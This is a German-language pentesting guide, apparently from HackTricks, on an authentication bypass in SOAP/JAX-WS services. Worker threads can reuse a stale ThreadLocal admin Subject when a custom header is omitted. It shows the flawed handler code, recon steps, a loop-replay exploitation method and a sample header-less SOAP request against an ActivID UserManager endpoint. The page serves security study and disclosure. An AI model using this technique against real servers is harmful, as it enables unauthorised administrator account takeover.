SOAP/JAX-WS ThreadLocal Authentication Bypass
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
TL;DR
- Einige Middleware-Ketten speichern das authentifizierte
Subject/Principalin einer statischenThreadLocalund aktualisieren es nur, wenn ein proprietärer SOAP-Header eintrifft. - Weil WebLogic/JBoss/GlassFish Worker-Threads recyceln, führt das Weglassen dieses Headers dazu, dass das zuletzt von dem Thread verarbeitete privilegierte
Subjectstillschweigend wiederverwendet wird. - Hammer den verwundbaren endpoint mit header-less, aber wohlgeformten SOAP bodies, bis ein wiederverwendeter Thread dir den gestohlenen Administrator-Kontext gewährt.
Ursache
Handlers ähnlich dem folgenden überschreiben die ThreadLocal-Identität nur, wenn der custom header vorhanden ist, sodass der Kontext der vorherigen Anfrage erhalten bleibt:
public boolean handleMessage(SOAPMessageContext ctx) {
if (!outbound) {
SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
SOAPHeaderElement e = findHeader(hdr, subjectName);
if (e != null) {
SubjectHolder.setSubject(unmarshal(e));
}
}
return true;
}
Recon
- Ermitteln Sie die reverse proxy / routing rules, um versteckte SOAP-Bäume zu finden, die
?wsdlblockieren, aber POSTs akzeptieren (map them alongside the flow in 80,443 - Pentesting Web Methodology). - Packen Sie die EAR/WAR/EJB-Artefakte aus (
unzip *.ear) und untersuchen Sieapplication.xml,web.xml,@WebService-Annotationen und handler chains (z. B.LoginHandlerChain.xml), um die Handler-Klasse, den SOAP-Header-QName und die zugrundeliegenden EJB-Namen aufzudecken. - Wenn Metadaten fehlen, brute-force wahrscheinliche
ServiceName?wsdl-Pfade oder lockern Sie temporär Lab-Proxys, und importieren Sie dann gefundene WSDLs in Tools wie Burp Suite Wsdler, um Basis-Envelopes zu generieren. - Prüfen Sie die Handler-Quellen auf
ThreadLocal-Keeper (z. B.SubjectHolder.setSubject()), die nicht gelöscht werden, wenn der Authentication-Header fehlt oder fehlerhaft ist.
Exploitation
- Senden Sie eine gültige Anfrage mit dem proprietären Header, um die normalen Response-Codes und etwaige Fehler für ungültige Tokens kennenzulernen.
- Senden Sie denselben SOAP-Body erneut und lassen Sie dabei den Header weg. Halten Sie das XML wohlgeformt und respektieren Sie die erforderlichen Namespaces, damit der Handler sauber exitet.
- Wiederholen Sie die Anfrage in einer Schleife; landet sie auf einem Thread, der zuvor eine privilegierte Aktion ausgeführt hat, hebt das wiederverwendete
Subjectgeschützte Operationen wie User- oder Credential-Manager wieder frei.
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
Host: target
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:findUserIds>
<arg0></arg0>
<arg1>spl*</arg1>
</jax:findUserIds>
</soapenv:Body>
</soapenv:Envelope>
Validierung des Bugs
- Hänge JDWP (
-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n) oder vergleichbare Debugging-Hooks an, um die Inhalte vonThreadLocalvor und nach jedem Aufruf zu überwachen und zu bestätigen, dass eine nicht authentifizierte Anfrage ein vorheriges Administrator-Subjectgeerbt hat.
Referenzen
- Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002
- PortSwigger – Wsdler (WSDL parser) extension
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

